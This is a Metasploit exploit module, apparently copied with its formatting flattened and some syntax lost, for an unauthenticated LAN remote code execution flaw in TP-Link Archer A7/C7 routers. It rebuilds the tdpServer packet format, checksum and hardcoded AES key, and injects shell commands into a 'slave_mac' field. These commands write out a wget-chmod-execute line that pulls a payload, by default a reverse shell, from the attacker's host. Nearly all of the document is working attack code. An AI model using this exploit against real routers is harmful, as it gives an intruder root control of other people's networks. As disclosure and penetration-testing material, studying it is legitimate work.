# This module requires Metasploit:  
# Current source:  
require 'openssl'  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Remote::HttpClient  
def initialize(info = {})  
'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',  
'Description' => %q{  
This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on  
the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.  
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does  
not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command  
as root, including downloading and executing a binary from another host.  
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +  
Radek Domanski).  
'License' => MSF_LICENSE,  
'Author' =>  
'Pedro Ribeiro <pedrib[at]>', # Vulnerability discovery and Metasploit module  
'Radek Domanski <radek.domanski[at]> @RabbitPro' # Vulnerability discovery and Metasploit module  
'References' =>  
[ 'URL', ''],  
[ 'URL', ''],  
[ 'URL', ''],  
[ 'CVE', '2020-10882'],  
[ 'CVE', '2020-10883'],  
[ 'CVE', '2020-10884'],  
[ 'ZDI', '20-334'],  
[ 'ZDI', '20-335'],  
[ 'ZDI', '20-336' ]  
'Privileged' => true,  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSBE,  
'Payload' => {},  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DefaultOptions' =>  
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',  
'WfsDelay' => 15,  
'Targets' =>  
[ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]  
'DisclosureDate' => "Mar 25 2020",  
'DefaultTarget' => 0,  
['MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])  
def check  
res = send_request_cgi({  
'uri' => '/webpages/app.1564127413977.manifest',  
'method' => 'GET',  
'rport' => 80  
if res && res.code == 200  
return Exploit::CheckCode::Vulnerable  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
def calc_checksum(packet)  
# reference table used to calculate the packet checksum  
# used by tdpd_pkt_calc_checksum (0x4037f0)  
# located at offset 0x0416e90 in the binary  
reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,  
0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,  
0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,  
0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,  
0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,  
0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,  
0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,  
0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,  
0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,  
0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,  
0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b,  
0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8,  
0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32,  
0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d,  
0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf,  
0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95,  
0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6,  
0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c,  
0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01,  
0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85,  
0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78,  
0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98,  
0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6,  
0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30,  
0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82,  
0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9,  
0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15,  
0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65, 0x4d, 0xb2, 0x61,  
0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb, 0x30, 0xe2, 0x4a,  
0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d, 0xd3, 0xd6, 0xf4,  
0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda,  
0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c,  
0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe,  
0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85,  
0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29,  
0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d,  
0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed,  
0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2,  
0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73,  
0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a,  
0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a,  
0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3,  
0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80,  
0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b,  
0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9,  
0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e,  
0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f,  
0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06,  
0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36,  
0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf,  
0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc,  
0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77,  
0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5,  
0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a,  
0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b,  
0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3,  
0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72,  
0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a,  
0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5,  
0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2,  
0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81,  
0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47,  
0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11,  
0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff,  
0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e,  
0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16,  
0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9,  
0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae,  
0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd,  
0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3,  
0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23,  
0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,  
0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,  
0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]  
res = 0xffffffff  
# main checksum calculation  
packet.each_entry { |c|  
index = ((c ^ res) & 0xff) * 4  
# .reverse is needed as the target is big endian  
ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)  
res = ref ^ (res >> 8)  
checksum = ~res  
checksum_s = [(checksum)].pack('I>').force_encoding("ascii")  
# convert back to string  
packet = packet.pack('C*').force_encoding('ascii')  
# and replace the checksum  
packet[12] = checksum_s[0]  
packet[13] = checksum_s[1]  
packet[14] = checksum_s[2]  
packet[15] = checksum_s[3]  
def aes_encrypt(plaintext)  
# Function encrypts perfectly 16 bytes aligned payload  
if (plaintext.length % 16 != 0)  
cipher = 'AES-128-CBC'  
# in the original C code the key and IV are 256 bits long... but they still use AES-128  
iv = "1234567890abcdef"  
key = "TPONEMESH_Kf!xn?"  
encrypted = ''  
cipher.iv = iv  
cipher.key = key  
# Take each 16 bytes block and encrypt it  
plaintext.scan(/.{1,16}/) { |block|  
encrypted += cipher.update(block)  
def create_injection(c)  
# Template for the command injection  
# The injection happens at "slave_mac" (read advisory for details)  
# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.  
# This will fail if we send a command with single quotes (')  
# ... but that's not a problem for this module, since we don't use them for our command.  
# It might also fail with double quotes (") since this will break the JSON...  
inject = "\';printf \'#{c}\'>>#{@cmd_file}\'"  
template = "{\"method\":\"slave_key_offer\",\"data\":{"\  
# This is required to calculate exact template length without replace flags  
template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length  
# This has to be initialized to cover the situation when no padding is needed  
pad = ''  
padding = rand_text_alpha(16)  
template_len += inject.length  
# Calculate pad if padding is needed  
if (template_len % 16 != 0)  
pad = padding[0..15-(template_len % 16)]  
# Here the final payload is created  
template % {INJECTION:"#{inject}", PADDING:"#{pad}"}  
def update_len_field(packet, payload_length)  
new_packet = packet[0..3]  
new_packet += [payload_length].pack("S>")  
new_packet += packet[6..-1]  
def exec_cmd_file(packet)  
# This function handles special action of exec  
# Returns new complete tpdp packet  
inject = "\';sh #{@cmd_file}\'"  
payload = create_injection(inject)  
ciphertext = aes_encrypt(payload)  
if not ciphertext  
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")  
new_packet = packet[0..15]  
new_packet += ciphertext  
new_packet = update_len_field(new_packet, ciphertext.length)  
# Handle incoming requests from the router  
def on_request_uri(cli, request)  
print_good("#{peer} - Sending executable to the router")  
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")  
send_response(cli, @payload_exe)  
@payload_sent = true  
def exploit  
if (datastore['SRVHOST'] == "" or datastore['SRVHOST'] == "::")  
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")  
if datastore['SSL']  
fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it")  
print_status("Attempting to exploit #{}")  
tpdp_packet_template =  
[0x01].pack('C*') + # packet version, fixed to 1  
[0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)  
[0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table  
[0x00].pack('S>*') + # packet len  
[0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function  
[0x00].pack('C*') + # dunno what this is  
[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value  
[0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder  
srv_host = datastore['SRVHOST']  
srv_port = datastore['SRVPORT']  
@cmd_file = rand_text_alpha_lower(1)  
# generate our payload executable  
@payload_exe = generate_payload_exe  
# Command that will download @payload_exe and execute it  
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"  
http_service = 'http://' + srv_host + ':' + srv_port.to_s  
print_status("Starting up our web service on #{http_service} ...")  
start_service({'Uri' => {  
'Proc' => { |cli, req|  
on_request_uri(cli, req)  
'Path' => "/#{@cmd_file}"  
print_status("#{peer} - Connecting to the target")  
print_status("#{peer} - Sending command file byte by byte")  
print_status("#{peer} - Command: #{download_cmd}")  
mod = download_cmd.length / 5  
download_cmd.each_char.with_index { |c, index|  
# Generate payload  
payload = create_injection(c)  
if not payload  
fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")  
# Encrypt payload  
ciphertext = aes_encrypt(payload)  
if not ciphertext  
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")  
tpdp_packet = tpdp_packet_template.dup  
tpdp_packet += ciphertext  
tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)  
tpdp_packet = calc_checksum(tpdp_packet.bytes)  
# Sleep to make sure the payload is processed by a target  
# Print progress  
if ((index+1) % mod == 0)  
percentage = 20 * ((index+1) / mod)  
# very advanced mathemathics in use here to show the progress bar  
print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]")  
if percentage == 100  
# a bit of cheating to get the last char done right  
index = -2  
#print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")  
# Send the exec command. From here we should receive the connection  
print_status("#{peer} - Command file sent, attempting to execute...")  
tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)  
timeout = 0  
while not @payload_sent  
timeout += 1  
if timeout == datastore['MAX_WAIT'].to_i  
fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")